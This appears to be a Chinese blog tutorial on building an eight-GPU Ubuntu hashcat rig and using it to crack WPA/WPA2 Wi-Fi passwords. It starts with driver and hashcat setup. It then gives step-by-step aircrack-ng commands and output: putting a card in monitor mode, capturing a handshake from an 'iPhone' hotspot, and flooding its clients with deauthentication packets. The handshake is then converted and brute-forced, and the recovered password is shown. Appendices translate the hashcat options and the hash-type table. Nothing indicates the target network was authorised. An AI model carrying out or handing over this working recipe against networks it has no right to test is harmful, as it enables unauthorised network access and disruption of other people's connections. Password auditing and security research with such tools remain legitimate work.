Ubuntu18.04+8x1080ti爆破环境从零搭建

硬件环境:

主机: TYAN FT77D-B7109

CPU: Intel Xeon Scalable Processor

GPU: 1080Ti x 8 (测试时只用了两块, 分别是MSI/技嘉)

内存: 32G

硬盘: 1T SSD

0x00 配置环境

0x01 安装系统

目标系统: Ubuntu 18.04.1 LTS Desktop (建议安装Server版)

在官网下载好启动盘之后, 用烧录工具(建议用win32diskimager)写入U盘, 然后进入启动项选为U盘启动, 接下来开始安装, 一路默认配置就好. 具体步骤请谷歌, 这里就不赘述了. (这里我们遇到一个坑, 就是插了PCIE网卡之后安装系统一直重启, 可能是主机的兼容性问题, 装系统的时候如果条件允许, 最好把所有的外置设备卸载掉)

0x02 安装GPU驱动

  1. 安装好系统之后, 可以配置一下更新源(/etc/apt/sources.list,我用的是中科大源), update一下系统.

    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
    
    sudo apt-get update && apt-get upgrade
    sudo apt-get install gcc make p7zip-full git lsb-core
    
  2. 然后将Nouveau(NVIDIA通用显卡驱动)禁用:

    sudo bash -c "echo blacklist nouveau > /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
    sudo bash -c "echo options nouveau modeset=0 >> /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
    sudo update-initramfs -u
    sudo reboot
    
  3. 等重启之后, 再添加32位的NVIDIA驱动源:

    sudo dpkg --add-architecture i386
    sudo apt-get update
    sudo apt-get install build-essential libc6:i386
    
  4. 在官网下载驱动, 下载好之后:

    chmod +x NVIDIA*.run
    sudo ./NVIDIA*.run
    sudo reboot
    

    或者:

    wget http://us.download.nvidia.com/XFree86/Linux-x86_64/375.26/NVIDIA-Linux-x86_64-375.26.run
    chmod +x NVIDIA-Linux-x86_64-375.26.run
    sudo ./NVIDIA-Linux-x86_64-375.26.run
    
  5. (可选步骤)安装CPU集成显卡驱动:

    wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
    tar -xvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
    cd opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25
    ./install.sh 
    
  6. 这时候可以看一下显卡配置:

    lspci | grep VGA
    

0x03 安装hashcat

wget https://hashcat.net/files/hashcat-3.30.7z
7z x hashcat-3.30.7z
cd hashcat-3.30

这是个比较老的版本, 我用的aircrack跑出来的包用这个版本可以跑. 如果想尝一下鲜也可以:

wget https://hashcat.net/files/hashcat-4.2.1.7z

顺便测试一下速度(在解压后的目录里直接运行./example0.sh即可):

Session..........: hashcat
Status...........: Bypass
Hash.Type........: MD5
Hash.Target......: example0.hash
Time.Started.....: Sat Oct 20 20:08:33 2018 (27 mins, 0 secs)
Time.Estimated...: Sat Oct 20 22:31:24 2018 (1 hour, 55 mins)
Guess.Base.......: File (example.dict), Right Side
Guess.Mod........: Mask (?a?a?a?a?a?a) [6], Left Side
Guess.Queue.Base.: 1/1 (100.00%)
Guess.Queue.Mod..: 1/1 (100.00%)
Speed.Dev.#2.....:  8340.3 MH/s (6.61ms) @ Accel:128 Loops:64 Thr:256 Vec:1
Speed.Dev.#3.....:  7938.7 MH/s (6.93ms) @ Accel:128 Loops:64 Thr:256 Vec:1
Speed.Dev.#*.....: 16279.0 MH/s
Recovered........: 3035/6494 (46.74%) Digests, 0/1 (0.00%) Salts
Recovered/Time...: CUR:25,N/A,N/A AVG:29,1773,42558 (Min,Hour,Day)
Progress.........: 26411945426944/139573552218112 (18.92%)
Rejected.........: 0/26411945426944 (0.00%)
Restore.Point....: 200933376/1073741824 (18.71%)
Candidates.#2....: sarusix102x -> 6o9momx49wy3c2
Candidates.#3....: sarseeethelia3 -> 6o9602eugeni
HWMon.Dev.#2.....: Temp: 79c Fan: 62% Util: 94% Core:1860MHz Mem:5005MHz Bus:16
HWMon.Dev.#3.....: Temp: 84c Fan: 78% Util: 94% Core:1771MHz Mem:5005MHz Bus:16

Started: Sat Oct 20 20:08:26 2018
Stopped: Sat Oct 20 20:35:35 2018
  • 关于上面输出的参数解析:

    实际上example0.sh的命令如下:
    ./hashcat64.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict
    
    Session..........:
    Status...........: 
    Hash.Type........: 表示哈希计算的类型
    Hash.Target......: 表示目标哈希表
    Time.Started.....: 计算开始时间
    Time.Estimated...: 估计结束时间
    Guess.Base.......: 密码字典
    Guess.Mod........: 密码类型(大小写/数字等)
    Guess.Queue.Base.:
    Guess.Queue.Mod..:
    Speed.Dev.#2.....: 显卡1的速度(8340.0MH/s 约等于每秒83亿次运算)
    Speed.Dev.#3.....: 显卡2...
    Speed.Dev.#*.....: 总速度
    Recovered........: 
    Recovered/Time...: 当前已用时间(分,时,天); 平均需要时间(分,时,天)
    Progress.........: 当前进度
    Rejected.........: 应该是丢包率(猜的)
    Restore.Point....: 当前的进度
    Candidates.#2....: 即将尝试爆破的密码(猜的)
    Candidates.#3....: 
    HWMon.Dev.#2.....: Temp表示当前显卡温度;Fan表示风扇转速;Men内存频率
    HWMon.Dev.#3.....: Util表示内存使用率;Core表示GPU核频率;Bus通道数
    
  • 关于hashcat命令参数解析(详见附录一):

    -a  指定要使用的破解模式
    -m  指定要破解的hash类型所对应的id[下面有一份完整的hash id对照表],几乎现在市面上常用的一些散列类型它都支持,而且每个版本更新都会增加一些新的算法
    -o  指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
    --force   忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
    --show    显示已经破解的hash及该hash所对应的明文
    --increment    启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程,其实,并不建议这么用,因为破解时间可能会比较长
    --increment-min  密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
    --increment-max  密码最大长度,同上
    --outfile-format 指定破解结果的输出格式id,一般自己常用3
    --username     忽略hash文件中的指定的用户名,在破解win和linux系统用户密码hash可能会用到
    --remove   删除已被破解成功的hash
    -r         使用自定义破解规则,这个后期抽空再说吧,比较的复杂,不是一两句话能说完的
    
  • 真实爆破WiFi密码情况系hashcat参数解析:

    ./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?l?l?l?l?l?l?l?l
    

    -m : hash的类型, 2500代表的是WPA/WPA2协议. 详见[② Hash种类](② Hash种类)

    -a: 有多种参数, 3表示穷举. 详见[⑤ 攻击模式](#⑤ 攻击模式)

    *.hccap: 即为aircrack抓到的包之后转化而来的

    ?l: 表示所有的小写字母. 详见[⑥ 内置字符集](⑥ 内置字符集)

0x10 Crack实战

0x11 初始配置

  1. 首先需要找一个可以监听注入的USB网卡, 如果笔记本自带网卡能用就更好了. 这里以rt2800usb为例讲解:

    root@ks:/home/ks# airmon-ng 
    
    PHY  Interface   Driver      Chipset
    
    phy0 wlp3s0      iwlwifi     Intel Corporation Device 24fb (rev 10)
    phy1 wlx7cdd90f1f416 rt2800usb   Ralink Technology, Corp. RT2870/RT3070
    

    可以看到, 有两张网卡, wlp3s0是笔记本自带的英特尔系列网卡; lx7cdd90f1f416是能够监听的新插入的usb网卡.

  2. 查看网卡状态, 两张网卡的Mode都是Managed:

    root@ks:/home/ks# iwconfig
    wlx7cdd90f1f416  IEEE 802.11  ESSID:off/any  
    Mode:Managed  Access Point: Not-Associated   Tx-Power=off   
    Retry short  long limit:2   RTS thr:off   Fragment thr:off
    Encryption key:off
    Power Management:off
    lo        no wireless extensions.
    wlp3s0    IEEE 802.11  ESSID:off/any  
    Mode:Managed  Access Point: Not-Associated   Tx-Power=off   
    Retry short limit:7   RTS thr:off   Fragment thr:off
    Encryption key:off
    Power Management:on
    enp2s0    no wireless extensions.
    enp0s20f0u1  no wireless extensions.
    
  3. 为了避免冲突, 先杀占用进程

    root@ks:/home/ks# airmon-ng check kill
    
    Killing these processes:
    
      PID Name
      891 wpa_supplicant
     3091 dhclient
     4430 avahi-daemon
     4431 avahi-daemon
    
  4. 然后将能够抓包的网卡的Mode设为Monitor

    root@ks:/home/ks# airmon-ng start wlx7cdd90f1f416
    
    Found 2 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to run 'airmon-ng check kill'
    
      PID Name
     7674 avahi-daemon
     7675 avahi-daemon
    
    PHY  Interface   Driver      Chipset
    
    phy0 wlp3s0      iwlwifi     Intel Corporation Device 24fb (rev 10)
    phy4 wlx7cdd90f1f416 rt2800usb   Ralink Technology, Corp. RT2870/RT3070
     wlx7cdd90f1f416 is soft blocked, please run "rfkill unblock wlx7cdd90f1f416" to use this interface.
    rfkill error, unable to start wlx7cdd90f1f416
    
    Would you like to try and automatically resolve this? [y/n] y
    rfkill error: rfkill: invalid identifier: 4
    Unable to unblock.
    Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
    
         (mac80211 monitor mode vif enabled on [phy4]wlan0mon
         (mac80211 station mode vif disabled for [phy4]wlx7cdd90f1f416)
    
  5. 此时再看一下无线网卡状态:

    root@ks:/home/ks# iwconfig
    lo        no wireless extensions.
    
    wlp3s0    IEEE 802.11  ESSID:off/any  
              Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm   
              Retry short limit:7   RTS thr:off   Fragment thr:off
              Encryption key:off
              Power Management:on
              
    wlan0mon  IEEE 802.11  Mode:Monitor  Tx-Power=off   
              Retry short  long limit:2   RTS thr:off   Fragment thr:off
              Power Management:off
              
    enp2s0    no wireless extensions.
    
    enp0s20f0u1  no wireless extensions.
    

    已更改~

0x12 实施攻击

  1. 我们的攻击目标是iPhone:

    root@ks:/home/ks# airodump-ng wlan0mon
    

上图可看到它的mac是74:D2:1D:AE:3F:94, 信道(CH)是1. (记住这两个信息下面有用)

  1. 接下来我们开两个shell, 一个shell负责监听握手包, 另一个shell负责洪荒攻击两个正常连接的WiFi设备, 我们先看看第一个shell:

    airodump-ng --bssid 74:D2:1D:AE:3F:94 -c 1 -w test wlan0mon
    

可以看出来已经抓到了握手包703个. 对命令参数解释如下:

--bssid: 表示WiFi热点的mac

-c: 表示信道1

-w: 后面跟着文件名

wlan0mon: 需要监听的网卡

  1. 开启了监听之后, 我们就需要DDoS目标连接了, 这时候在另一个shell输入如下命令:

    aireplay-ng --deauth 5 -a 74:D2:1D:AE:3F:94 wlan0mon
    

    隔几秒发一次, 以抓到足够的握手包, 减少爆破的时间.

0x20 开始爆破

在上面操作的监听过程中, 会在当前路径下保存一个抓到的握手包的数据, 但这个流量包还不能直接让hashcat跑, 需要做简单的处理, 先做一个简单的数据清洗:

root@ks:~/crack_packet_wifi# wpaclean wpapass.cap test-05.cap 
Pwning test-05.cap (1/1 100%)
Net 74:d2:1d:ae:3f:94 iPhone
Done

可以看到, 已经成功识别出目标无限的mac. 接下来我们吧数据包转换成hashcat能够识别的hash类型:

root@ks:/home/ks/software/crack_pw/crack_packet_wifi# aircrack-ng wpapass.cap -J wpahash
Opening wpapass.cap
Read 3 packets.

   #  BSSID              ESSID                     Encryption

   1  74:D2:1D:AE:3F:94  iPhone                    WPA (1 handshake)

Choosing first network as target.
Opening wpapass.cap
Reading packets, please wait...
Building Hashcat (1.00) file...
[*] ESSID (length: 6): iPhone
[*] Key version: 2
[*] BSSID: 74:D2:1D:AE:3F:94
[*] STA: 88:C9:D0:B7:2C:36
[*] anonce:
    E6 A3 D9 3C 95 77 3E 0B 5D 84 CE 65 0D 1C EB 59 
    E4 E4 E3 A5 3A 07 FE D8 47 A1 7C 77 10 66 DC E4 
[*] snonce:
    03 8D 9F 6B A8 4B 27 7D 8E 02 57 56 34 D9 98 2A 
    4D 36 1C EA 2D 6A 91 43 4F 30 67 96 81 14 F4 AD 
[*] Key MIC:
    21 51 2B 3C 6F 37 CA 9E 09 6C 92 74 45 DC DA 11
[*] eapol:
    01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00 
    03 03 8D 9F 6B A8 4B 27 7D 8E 02 57 56 34 D9 98 
    2A 4D 36 1C EA 2D 6A 91 43 4F 30 67 96 81 14 F4 
    AD 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC 
    04 01 00 00 0F AC 02 80 00 
Successfully written to wpahash.hccap
Quitting aircrack-ng...

接下来就是直接放到爆破的服务器上跑(实测用最新版的hashcat跑不了, 这里用了3.30版本的hashcat)

./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?d?d?d?d?d?d?d?d

几秒钟就跑出来了:

​```
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: iPhone (74:d2:1d:ae:3f:94 <-> 88:c9:d0:b7:2c:36)
Time.Started.....: Tue Oct 23 17:43:18 2018 (3 secs)
Time.Estimated...: Tue Oct 23 17:44:52 2018 (1 min, 31 secs)
Input.Mask.......: ?d?d?d?d?d?d?d?d [8]
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....:   535.2 kH/s (6.23ms)
Speed.Dev.#3.....:   527.7 kH/s (6.34ms)
Speed.Dev.#*.....:  1062.9 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 2207744/100000000 (2.21%)
Rejected.........: 0/2207744 (0.00%)
Restore.Point....: 0/10000000 (0.00%)
Candidates.#2....: 42345678 -> 41875555
Candidates.#3....: 40689823 -> 49471088
HWMon.Dev.#2.....: Temp: 41c Fan: 29% Util: 97% Core:1860Mhz Mem:5005Mhz Lanes:16
HWMon.Dev.#3.....: Temp: 41c Fan:  0% Util: 97% Core:1809Mhz Mem:5005Mhz Lanes:16

iPhone:74d21dae3f94:88c9d0b72c36:67854312                 

假设我们把它设置成全字符爆破, 也就是:

./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?a?a?a?a?a?a?a?a

则需要几百年(可见, 如果知道WiFi密码的字符组成结构, 也就成功了一半了):

Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: iPhone (74:d2:1d:ae:3f:94 <-> 88:c9:d0:b7:2c:36)
Time.Started.....: Tue Oct 23 17:53:33 2018 (31 secs)
Time.Estimated...: Fri Dec 24 03:40:44 2021 (200 years, 198 days)
Input.Mask.......: ?a?a?a?a?a?a?a?a [8]
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....:   531.0 kH/s (6.38ms)
Speed.Dev.#3.....:   517.3 kH/s (6.52ms)
Speed.Dev.#*.....:  1048.3 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 31854592/6634204312890625 (0.00%)
Rejected.........: 0/31854592 (0.00%)
Restore.Point....: 0/69833729609375 (0.00%)
Candidates.#2....: E]_LINAN -> E;$.1988
Candidates.#3....: Narinane -> N"XZANAN
HWMon.Dev.#2.....: Temp: 66c Fan: 47% Util: 97% Core:1809Mhz Mem:5005Mhz Lanes:16
HWMon.Dev.#3.....: Temp: 65c Fan: 34% Util: 97% Core:1759Mhz Mem:5005Mhz Lanes:16

参考链接

  1. How to build a 8 GPU password cracker
  2. Running HashCat on Ubuntu 18.04 Server with 1080TI
  3. How to Build a Password Cracker with NVidia GTX 1080TI & GTX 1070
  4. 快速破解各种散列hash hashcat入门篇
  5. aircrack & hashcat 非字典高速破解目标无线密码
  6. 用hashcat超速破解WiFi密码
  7. 开源GPU密码破解工具–HashCat
  8. hashcat 帮助文件 中文翻译
  9. Hashcat用户手册——直接攻击模式的使用

附录一

① hashcat选项解释

用法:

hashcat [选项]... hash|hash文件|hccapx文件 [字典|掩码|目录]...
选项 缩写 / 原文 参数类型 描述 用例
-m,--hash-type 数字 Hash种类,参见下面的参考 -m 1000
-a,--attack-mode 数字 攻击模式,参见下面的参考 -a 3
-V,--version 输出版本信息
-h,--help 输出帮助信息
--quiet 禁用输出
--hex-charset 字符集以十六进制形式给出
--hex-salt 盐以十六进制形式给出
--hex-wordlist 字典中的单词是以十六进制形式给出的
--force 忽略警告
--status 自动更新屏幕
--status-timer 数字 设置自动更新屏幕间隔为X秒 --status-timer=1
--machine-readable 以机器可读格式显示状态视图
--keep-guessing 被破解之后继续猜测Hash
--loopback 在induction目录中加入新的纯文本文件
--weak-hash-threshold 数字 当阈值为X时停止检查弱Hash --weak=0
--markov-hcstat 文件 指定要使用的hcstat文件 --markov-hc=my.hcstat
--markov-disable 禁用马尔可夫链,模仿经典暴力破解
--markov-classic 启用经典马尔可夫链,无任何位置
-t,--markov-threshold 数字 当阈值X时停止接收新的马尔科夫链 -t 50
--runtime 数字 运行X秒后中止会话 --runtime=10
--session 字符串 定义具体的会话名称 --session=mysession
--restore 从--session恢复会话
--restore-disable 不写入恢复文件
--restore-file-path 文件 指定恢复文件的路径 --restore-file-path=my.restore
-o,--outfile 文件 定义恢复的Hash的输出文件 -o outfile.txt
--outfile-format 数字 定义恢复的Hash的输出格式,参见下面的参考 --outfile-format=7
--outfile-autohex-disable 在输出纯文本文件中禁用$HEX[]
--outfile-check-timer 数字 设置输出文件检查间隔为X秒 --outfile-check=30
-p,--separator 字符 Hash表和输出文件的分隔符 -p :
--stdout 不破解Hash,只打印候选值
--show 比较Hash表和pot文件,显示已破解的Hash
--left 比较Hash表和pot文件,显示未破解的Hash
--username 忽略Hash文件中的用户名
--remove 一旦破解,就删除Hash
--remove-timer 数字 每X秒更新输入的Hash文件 --remove-timer=30
--potfile-disable 不写入pot文件
--potfile-path 目录 指定pot文件的路径 --potfile-path=my.pot
--debug-mode 数字 定义调试模式(仅通过使用规则进行混合) --debug-mode=4
--debug-file 文件 调试规则的输出文件 --debug-file=good.log
--induction-dir 目录 指定loopback的induction目录 --induction=inducts
--outfile-check-dir 目录 指定监控纯文本文件的输出目录 --outfile-check-dir=x
--logfile-disable 禁用日志文件
--hccapx-message-pair 数字 只从hccapx加载匹配X的消息对 --hccapx-message-pair=2
--nonce-error-corrections 数字 用BF大小范围来取代AP最后字节的随机数 --nonce-error-corrections=16
--truecrypt-keyfiles 文件 要使用的密匙文件,用逗号分隔 --truecrypt-key=x.png
--veracrypt-keyfiles 文件 要使用的密匙文件,用逗号分隔 --veracrypt-key=x.txt
--veracrypt-pim 数字 VeraCrypt的头部密钥生成的迭代次数(PIM) --veracrypt-pim=1000
-b,--benchmark 运行基准测试
--speed-only 返回预期的攻击速度,然后退出
--progress-only 返回理想进度的步骤大小和处理时间
-c,--segment-size 数字 为wordfile设置 X MB缓存 -c 32
--bitmap-min 数字 设置位图最小为X位(bit) --bitmap-min=24
--bitmap-max 数字 设置位图最大为X位(bit) --bitmap-max=24
--cpu-affinity 字符串 设置CPU相关性,用逗号分隔 --cpu-affinity=1,2,3
-I,--opencl-info 显示检测到的OpenCL平台/设备的信息 -I
--opencl-platforms 字符串 要使用的OpenCL平台,用逗号分隔 --opencl-platforms=2
-d,--opencl-devices 字符串 要使用的OpenCL设备,用逗号分隔 -d 1
-D,--opencl-device-types 字符串 要使用的OpenCL设备类型,用逗号分隔 -D 1
--opencl-vector-width 数字 手动覆盖OpenCL矢量宽度为X --opencl-vector=4
-w,--workload-profile 数字 设置工作负载配置文件,参见下面的参考 -w 3
-n,--kernel-accel 数字 手动调整工作负载,将外圈步长设置为X -n 64
-u,--kernel-loops 数字 手动调整工作负载,将内圈步长设置为X -u 256
--nvidia-spin-damp 数字 可变通NVIDIA处理器热循环Bug,用百分比表示 --nvidia-spin-damp=50
--gpu-temp-disable 禁用GPU温度和风扇速度的读取和触发
--gpu-temp-abort 数字 如果GPU温度达到X摄氏度,则中止 --gpu-temp-abort=100
--gpu-temp-retain 数字 尝试将GPU温度保持在X摄氏度 --gpu-temp-retain=95
--powertune-enable 启用电源调整。 完成后恢复设置
--scrypt-tmto 数字 手动覆盖scrypt的TMTO值为X --scrypt-tmto=3
-s,--skip 数字 跳过前X个单词 -s 1000000
-l,--limit 数字 跳过单词后限制X个单词 -l 1000000
--keyspace 显示密钥空间base:mod值后退出
-j,--rule-left 规则 单个规则应用于字典中左侧的每个单词 -j 'c'
-k,--rule-right 规则 单个规则应用于字典中右侧的每个单词 -k '^-'
-r,--rules-file 文件 多个规则应用于字典中的每个单词 -r rules/best64.rule
-g,--generate-rules 数字 生成X个随机规则 -g 10000
--generate-rules-func-min 数字 强制每个规则最小X个函数
--generate-rules-func-max 数字 强制每个规则最大X个函数
--generate-rules-seed 数字 强制RNG种子设置为X
-1,--custom-charset1 字符集 用户定义的字符集 ?1 -1 ?l?d?u
-2,--custom-charset2 字符集 用户定义的字符集 ?2 -2 ?l?d?s
-3,--custom-charset3 字符集 用户定义的字符集 ?3
-4,--custom-charset4 字符集 用户定义的字符集 ?4
-i,--increment 启用掩码增量模式
--increment-min 数字 在X处开始掩码递增 --increment-min=4
--increment-max 数字 在X处停止掩码递增 --increment-max=8

② Hash种类

编号 名称 类别
900 MD4 纯Hash
0 MD5 纯Hash
5100 Half MD5 纯Hash
100 SHA1 纯Hash
1300 SHA-224 纯Hash
1400 SHA-256 纯Hash
10800 SHA-384 纯Hash
1700 SHA-512 纯Hash
5000 SHA-3 (Keccak) 纯Hash
10100 SipHash 纯Hash
6000 RIPEMD-160 纯Hash
6100 Whirlpool 纯Hash
6900 GOST R 34.11-94 纯Hash
11700 GOST R 34.11-2012 (Streebog) 256-bit 纯Hash
11800 GOST R 34.11-2012 (Streebog) 512-bit 纯Hash
10 md5(pass.salt) 纯Hash,盐 且/或 多次迭代
20 md5(salt.pass) 纯Hash,盐 且/或 多次迭代
30 md5(unicode(pass).salt) 纯Hash,盐 且/或 多次迭代
40 md5(salt.unicode(pass)) 纯Hash,盐 且/或 多次迭代
3800 md5(salt.pass.$salt) 纯Hash,盐 且/或 多次迭代
3710 md5(salt.md5(pass)) 纯Hash,盐 且/或 多次迭代
4010 md5(salt.md5(salt.$pass)) 纯Hash,盐 且/或 多次迭代
4110 md5(salt.md5(pass.$salt)) 纯Hash,盐 且/或 多次迭代
2600 md5(md5($pass)) 纯Hash,盐 且/或 多次迭代
3910 md5(md5(pass).md5(salt)) 纯Hash,盐 且/或 多次迭代
4300 md5(strtoupper(md5($pass))) 纯Hash,盐 且/或 多次迭代
4400 md5(sha1($pass)) 纯Hash,盐 且/或 多次迭代
110 sha1(pass.salt) 纯Hash,盐 且/或 多次迭代
120 sha1(salt.pass) 纯Hash,盐 且/或 多次迭代
130 sha1(unicode(pass).salt) 纯Hash,盐 且/或 多次迭代
140 sha1(salt.unicode(pass)) 纯Hash,盐 且/或 多次迭代
4500 sha1(sha1($pass)) 纯Hash,盐 且/或 多次迭代
4520 sha1(salt.sha1(pass)) 纯Hash,盐 且/或 多次迭代
4700 sha1(md5($pass)) 纯Hash,盐 且/或 多次迭代
4900 sha1(salt.pass.$salt) 纯Hash,盐 且/或 多次迭代
14400 sha1(CX) 纯Hash,盐 且/或 多次迭代
1410 sha256(pass.salt) 纯Hash,盐 且/或 多次迭代
1420 sha256(salt.pass) 纯Hash,盐 且/或 多次迭代
1430 sha256(unicode(pass).salt) 纯Hash,盐 且/或 多次迭代
1440 sha256(salt.unicode(pass)) 纯Hash,盐 且/或 多次迭代
1710 sha512(pass.salt) 纯Hash,盐 且/或 多次迭代
1720 sha512(salt.pass) 纯Hash,盐 且/或 多次迭代
1730 sha512(unicode(pass).salt) 纯Hash,盐 且/或 多次迭代
1740 sha512(salt.unicode(pass)) 纯Hash,盐 且/或 多次迭代
50 HMAC-MD5 (key = $pass) 纯Hash,认证的
60 HMAC-MD5 (key = $salt) 纯Hash,认证的
150 HMAC-SHA1 (key = $pass) 纯Hash,认证的
160 HMAC-SHA1 (key = $salt) 纯Hash,认证的
1450 HMAC-SHA256 (key = $pass) 纯Hash,认证的
1460 HMAC-SHA256 (key = $salt) 纯Hash,认证的
1750 HMAC-SHA512 (key = $pass) 纯Hash,认证的
1760 HMAC-SHA512 (key = $salt) 纯Hash,认证的
14000 DES (PT = salt, key =pass) 纯加密,已知的明文攻击
14100 3DES (PT = salt, key =pass) 纯加密,已知的明文攻击
14900 Skip32 (PT = salt, key =pass) 纯加密,已知的明文攻击
400 phpass 通用密钥导出函数(KDF)
8900 scrypt 通用密钥导出函数(KDF)
11900 PBKDF2-HMAC-MD5 通用密钥导出函数(KDF)
12000 PBKDF2-HMAC-SHA1 通用密钥导出函数(KDF)
10900 PBKDF2-HMAC-SHA256 通用密钥导出函数(KDF)
12100 PBKDF2-HMAC-SHA512 通用密钥导出函数(KDF)
23 Skype 网络协议
2500 WPA/WPA2 网络协议
4800 iSCSI CHAP authentication, MD5(CHAP) 网络协议
5300 IKE-PSK MD5 网络协议
5400 IKE-PSK SHA1 网络协议
5500 NetNTLMv1 网络协议
5500 NetNTLMv1+ESS 网络协议
5600 NetNTLMv2 网络协议
7300 IPMI2 RAKP HMAC-SHA1 网络协议
7500 Kerberos 5 AS-REQ Pre-Auth etype 23 网络协议
8300 DNSSEC (NSEC3) 网络协议
10200 CRAM-MD5 网络协议
11100 PostgreSQL CRAM (MD5) 网络协议
11200 MySQL CRAM (SHA1) 网络协议
11400 SIP digest authentication (MD5) 网络协议
13100 Kerberos 5 TGS-REP etype 23 网络协议
121 SMF (Simple Machines Forum) > v1.1 论坛,内容管理系统(CMS),电子商务,框架
400 phpBB3 (MD5) 论坛,内容管理系统(CMS),电子商务,框架
2611 vBulletin < v3.8.5 论坛,内容管理系统(CMS),电子商务,框架
2711 vBulletin >= v3.8.5 论坛,内容管理系统(CMS),电子商务,框架
2811 MyBB 1.2+ 论坛,内容管理系统(CMS),电子商务,框架
2811 IPB2+ (Invision Power Board) 论坛,内容管理系统(CMS),电子商务,框架
8400 WBB3 (Woltlab Burning Board) 论坛,内容管理系统(CMS),电子商务,框架
11 Joomla < 2.5.18 论坛,内容管理系统(CMS),电子商务,框架
400 Joomla >= 2.5.18 (MD5) 论坛,内容管理系统(CMS),电子商务,框架
400 WordPress (MD5) 论坛,内容管理系统(CMS),电子商务,框架
2612 PHPS 论坛,内容管理系统(CMS),电子商务,框架
7900 Drupal7 论坛,内容管理系统(CMS),电子商务,框架
21 osCommerce 论坛,内容管理系统(CMS),电子商务,框架
21 xt:Commerce 论坛,内容管理系统(CMS),电子商务,框架
11000 PrestaShop 论坛,内容管理系统(CMS),电子商务,框架
124 Django (SHA-1) 论坛,内容管理系统(CMS),电子商务,框架
10000 Django (PBKDF2-SHA256) 论坛,内容管理系统(CMS),电子商务,框架
3711 MediaWiki B type 论坛,内容管理系统(CMS),电子商务,框架
13900 OpenCart 论坛,内容管理系统(CMS),电子商务,框架
4521 Redmine 论坛,内容管理系统(CMS),电子商务,框架
4522 PunBB 论坛,内容管理系统(CMS),电子商务,框架
12001 Atlassian (PBKDF2-HMAC-SHA1) 论坛,内容管理系统(CMS),电子商务,框架
12 PostgreSQL 数据库服务器
131 MSSQL (2000) 数据库服务器
132 MSSQL (2005) 数据库服务器
1731 MSSQL (2012, 2014) 数据库服务器
200 MySQL323 数据库服务器
300 MySQL4.1/MySQL5 数据库服务器
3100 Oracle H: Type (Oracle 7+) 数据库服务器
112 Oracle S: Type (Oracle 11+) 数据库服务器
12300 Oracle T: Type (Oracle 12+) 数据库服务器
8000 Sybase ASE 数据库服务器
141 Episerver 6.x < .NET 4 HTTP,SMTP,LDAP服务器
1441 Episerver 6.x >= .NET 4 HTTP,SMTP,LDAP服务器
1600 Apache apr1 MD5, md5apr1, MD5 (APR) HTTP,SMTP,LDAP服务器
12600 ColdFusion 10+ HTTP,SMTP,LDAP服务器
1421 hMailServer HTTP,SMTP,LDAP服务器
101 nsldap, SHA-1(Base64), Netscape LDAP SHA HTTP,SMTP,LDAP服务器
111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA HTTP,SMTP,LDAP服务器
1411 SSHA-256(Base64), LDAP {SSHA256} HTTP,SMTP,LDAP服务器
1711 SSHA-512(Base64), LDAP {SSHA512} HTTP,SMTP,LDAP服务器
15000 FileZilla Server >= 0.9.55 FTP 服务器
11500 CRC32 校验和
3000 LM 操作系统
1000 NTLM 操作系统
1100 Domain Cached Credentials (DCC), MS Cache 操作系统
2100 Domain Cached Credentials 2 (DCC2), MS Cache 2 操作系统
12800 MS-AzureSync PBKDF2-HMAC-SHA256 操作系统
1500 descrypt, DES (Unix), Traditional DES 操作系统
12400 BSDiCrypt, Extended DES 操作系统
500 md5crypt, MD5 (Unix), Cisco-IOS 1 (MD5) 操作系统
3200 bcrypt 2*, Blowfish (Unix) 操作系统
7400 sha256crypt 5, SHA256 (Unix) 操作系统
1800 sha512crypt 6, SHA512 (Unix) 操作系统
122 OSX v10.4, OSX v10.5, OSX v10.6 操作系统
1722 OSX v10.7 操作系统
7100 OSX v10.8+ (PBKDF2-SHA512) 操作系统
6300 AIX {smd5} 操作系统
6700 AIX {ssha1} 操作系统
6400 AIX {ssha256} 操作系统
6500 AIX {ssha512} 操作系统
